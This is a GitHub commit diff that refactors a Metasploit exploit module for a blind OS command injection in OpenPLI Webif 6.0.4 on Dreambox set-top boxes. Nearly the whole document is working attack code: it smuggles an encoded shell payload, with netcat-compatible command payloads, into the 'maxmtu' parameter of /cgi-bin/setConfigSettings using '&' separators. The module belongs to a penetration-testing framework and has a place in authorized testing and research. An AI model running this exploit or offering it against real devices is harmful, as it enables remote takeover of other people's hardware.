Skip to content

Commit b4554d2

Browse files
committed
Merge pull request #3 from jvazquez-r7/openpli_work
works very good
2 parents 9366e3f + 6ccfa0e commit b4554d2

File tree

1 file changed

+31
-60
lines changed

1 file changed

+31
-60
lines changed

modules/exploits/linux/http/dreambox_openpli_shell.rb

Lines changed: 31 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -11,96 +11,67 @@
1111
class Metasploit3 < Msf::Exploit::Remote
1212
Rank = GreatRanking
1313

14-
include Msf::Exploit::Remote::Tcp
1514
include Msf::Exploit::Remote::HttpClient
1615

1716
def initialize(info = {})
1817
super(update_info(info,
19-
'Name' => 'OpenPLI Webif v6.0.4 - Arbitrary Command Execution',
20-
'Description' => %q{
21-
Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS Command injection.
22-
23-
Tested on the following box:
24-
* Linux Kernel Linux version 2.6.9 (build@plibouwserver) (gcc version 3.4.4)
25-
#1 Wed Aug 17 23:54:07 CEST 2011
26-
* Firmware release 1.1.0, 27.01.2013
27-
* FP Firmware 1.06
28-
* Web Interface 6.0.4-Expert - PLi edition by [lite]
29-
30-
Note: This is a blind os command injection vulnerability. This means
31-
that you will not see any output of your command. Try a ping command
32-
to your local system for a first test.
18+
'Name' => 'OpenPLI Webif Arbitrary Command Execution',
19+
'Description' => %q{
20+
Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command
21+
injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means
22+
that you will not see any output of your command. A ping command can be used for
23+
testing the vulnerability. This module has been tested in a box with the next
24+
features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1
25+
Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013), FP Firmware
26+
1.06 and Web Interface 6.0.4-Expert (PLi edition).
3327
},
34-
'Author' => [ 'm-1-k-3' ],
35-
'License' => MSF_LICENSE,
36-
'References' =>
28+
'Author' => [ 'm-1-k-3' ],
29+
'License' => MSF_LICENSE,
30+
'References' =>
3731
[
38-
[ 'URL', 'http://openpli.org/' ],
39-
[ 'URL', 'http://openpli.org/wiki/Webif' ],
40-
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ],
41-
[ 'EDB', '24498' ],
32+
[ 'OSVDB', '90230' ],
4233
[ 'BID', '57943' ],
43-
[ 'OSVDB', '90230']
34+
[ 'EDB', '24498' ],
35+
[ 'URL', 'http://openpli.org/wiki/Webif' ],
36+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ]
4437
],
4538
'Platform' => ['unix', 'linux'],
46-
'Arch' => ARCH_CMD,
47-
'Privileged' => true,
48-
'Payload' =>
39+
'Arch' => ARCH_CMD,
40+
'Privileged' => true,
41+
'Payload' =>
4942
{
50-
'Space' => 1024,
43+
'Space' => 1024,
5144
'DisableNops' => true,
52-
'Compat' =>
45+
'Compat' =>
5346
{
5447
'PayloadType' => 'cmd',
5548
'RequiredCmd' => 'netcat generic'
5649
}
5750
},
58-
'Targets' =>
51+
'Targets' =>
5952
[
6053
[ 'Automatic Target', { }]
6154
],
6255
'DefaultTarget' => 0,
6356
'DisclosureDate' => 'Feb 08 2013'
6457
))
65-
66-
register_options(
67-
[
68-
Opt::RPORT(80),
69-
], self.class)
7058
end
7159

7260
def exploit
73-
connect
74-
75-
payl = datastore['PAYLOAD']
76-
77-
uri = '/cgi-bin/setConfigSettings'
78-
79-
cmd = Rex::Text.uri_encode(payload.encoded)
80-
81-
vprint_status("#{rhost}:#{rport} - Sending remote command ... \nCommand: #{cmd}")
82-
vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")
83-
84-
data_cmd = "?maxmtu=1500%26#{cmd}%26"
85-
61+
print_status("#{rhost}:#{rport} - Sending remote command...")
62+
vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
8663
begin
87-
res = send_request_cgi(
88-
{
89-
'uri' => uri << data_cmd,
64+
send_request_cgi(
65+
{
66+
'uri' => normalize_uri("cgi-bin", "setConfigSettings"),
9067
'method' => 'GET',
68+
'vars_get' => {
69+
"maxmtu" => "1500&#{payload.encoded}&"
70+
}
9171
})
9272

9373
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
94-
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
95-
return
96-
end
97-
98-
if not res
99-
print_error("#{rhost}:#{rport} - HTTP Connection Error, Aborting")
100-
return
74+
fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
10175
end
102-
103-
handler
104-
disconnect
10576
end
10677
end

0 commit comments

Comments
 (0)